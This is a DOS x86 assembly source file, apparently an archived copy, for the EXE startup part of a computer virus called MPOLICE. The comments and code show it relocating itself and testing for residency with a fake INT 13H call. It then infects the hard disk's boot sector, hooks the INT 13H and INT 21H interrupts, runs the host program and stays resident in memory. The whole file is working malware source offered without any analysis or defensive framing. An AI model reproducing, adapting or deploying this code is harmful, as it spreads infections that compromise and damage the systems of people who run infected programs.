home *** CD-ROM | disk | FTP | other *** search
- ;EXEFILE.ASM for use with MPOLICE.ASM
-
- STACKSIZE EQU 400H
-
- ;Here is the startup code for an EXE file. Basically, it adjusts the segments
- ;so that it can call all the other routines, etc., in the virus. Then it
- ;attempts to infect the hard disk, installs INT 13H and INT 21H hooks,
- ;and passes control to the host.
- START_EXE:
- mov bx,OFFSET BBS ;calcuate amount to move segment
- mov cl,4
- shr bx,cl ;amount to subtract is in ax
- mov ax,cs
- sub ax,bx
- push ax ;prep for retf to proper seg:ofs
- mov bx,OFFSET RELOCATE
- push bx
- retf ;jump to RELOCATE
-
- RELOCATE:
- mov ax,cs ;fix segments
- mov ds,ax
- mov [LOWMEM],1 ;set these variables for
- mov [HOOK21],1 ;EXE-based execution
- mov ax,75A9H ;fake DOS call
- int 13H ;to see if virus is there
- jc INSTALL_VIRUS ;nope, go install it
-
- RET_TO_HOST: ;else pass control to the host
- mov ax,es ;get PSP
- add ax,10H ;ax=relocation pointer
- add WORD PTR [HOSTC+2],ax ;relocate host cs and ss
- add [HOSTS],ax
- cli
- mov ax,[HOSTS] ;set up host stack
- mov ss,ax
- mov ax,[HOSTS+2]
- mov sp,ax
- push es ;set ds=psp
- pop ds
- sti
- jmp DWORD PTR cs:[HOSTC] ;and jump to host
-
- INSTALL_VIRUS:
- push es ;save PSP address
- xor ax,ax
- mov es,ax
- mov bx,0FFH*4 ;save INT 0FFH vector
- mov ax,es:[bx]
- mov WORD PTR [OLD_FFH],ax
- mov ax,es:[bx+2]
- mov WORD PTR [OLD_FFH+2],ax
- mov es:[bx],0A4F3H ;put "rep movsb" here
- mov BYTE PTR es:[bx+2],0CBH ;put "retf" here
- mov si,OFFSET BBS ;ds:si points to start of virus now
- pop es
- mov di,100H ;es:di points to where we want it
- mov ax,es
- mov dx,OFFSET BBS - 100H
- mov cl,4
- shr dx,cl
- sub ax,dx ;calculate seg to ret to
- mov cx,OFFSET ENDCODE - OFFSET BBS ;size to move
- push ax ;put PSP:OFFSET DO_INSTALL on stk
- mov ax,OFFSET DO_INSTALL
- push ax
- xor ax,ax ;and put @ of INT FFH vector
- push ax ;on the stack
- mov ax,0FFH*4
- push ax
- retf ;jump to code in INT FF vector
-
- DO_INSTALL: ;now we're executing where we want
- push cs
- pop ds ;ds=cs=new seg now
- cli
- mov ax,cs ;move the stack now
- mov ss,ax
- mov sp,OFFSET ENDCODE + 400H
- sti
- xor ax,ax
- mov es,ax
- mov ax,WORD PTR [OLD_FFH] ;restore INT FFH vector now
- mov es:[bx],ax
- mov ax,WORD PTR [OLD_FFH+2]
- mov es:[bx+2],ax
-
- mov ah,13H ;use this to hook int 13H
- mov dx,OFFSET INT_13H ;at a low level
- mov bx,dx
- int 2FH
- mov WORD PTR cs:[OLD_13H],dx ;and save old vector here
- mov WORD PTR cs:[OLD_13H+2],ds
-
- push cs
- pop es
- push cs
- pop ds
- call IS_HARD_THERE ;see if a hard disk exists here
- jz INST_INTR ;no hard disk, go install ints
- mov ax,201H
- mov bx,OFFSET SCRATCHBUF
- mov cx,1
- mov dx,80H
- pushf
- call DWORD PTR [OLD_13H]
- jc INST_INTR ;error reading, go install ints
- call IS_VBS ;and see if C: is infected
- jz INST_INTR ;yes, all done booting
- call INFECT_HARD ;else go infect hard drive C:
-
- INST_INTR:
- xor ax,ax
- mov ds,ax
- mov si,21H*4 ;save the old int 21H vector
- mov di,OFFSET OLD_21H
- movsw
- movsw
- mov ds:[si-4],OFFSET INT_21H ;and install a new one
- mov ds:[si-2],cs
- push cs
- pop ds
-
- mov ah,62H
- int 21H ;set es=PSP again
- mov es,bx
- mov bx,OFFSET ENDCODE - OFFSET BBS + 500H
- mov cl,4
- shr bx,cl ;resize memory now
- inc bx
- mov ah,4AH ;in preparation for DOS EXEC
- int 21H
-
- mov bx,2CH
- mov es,es:[bx] ;get environment segment
- xor di,di
- mov cx,7FFFH
- xor al,al
- ENVLP: repnz scasb ;scan the environment
- cmp BYTE PTR es:[di],al ;double zero?
- loopnz ENVLP ;no, continue looking for end
- mov dx,di
- add dx,3 ;es:dx=this programs path
- mov [EXEC_BLK],es ;set environment seg
- push es
- pop ds ;ds=env seg
- mov ah,62H
- int 21H ;set es=PSP again
- mov es,bx
- mov cs:[EXEC_BLK+4],es
- mov cs:[EXEC_BLK+8],es
- mov cs:[EXEC_BLK+12],es
- push cs
- pop es ;es=this seg
- mov ax,4B00H ;prep for DOS EXEC
- mov bx,OFFSET EXEC_BLK ;data for EXEC
- int 21H ;DOS EXEC - run host
- push ds
- pop es
- mov ah,49H ;free memory from EXEC
- int 21H
- mov ah,4DH ;get return code from host
- int 21H
-
- mov ah,31H ;ok, ready to TSR
- mov dx,OFFSET ENDCODE - OFFSET BBS + 100H
- mov cl,4
- shr dx,cl
- inc dx ;calculate size that remains
- int 21H ;and say goodbye;
-
- OLD_FFH DD ? ;storage area for INT FF vector
- EXEC_BLK DW ?
- DW 80H,0
- DW 5CH,0
- DW 6CH,0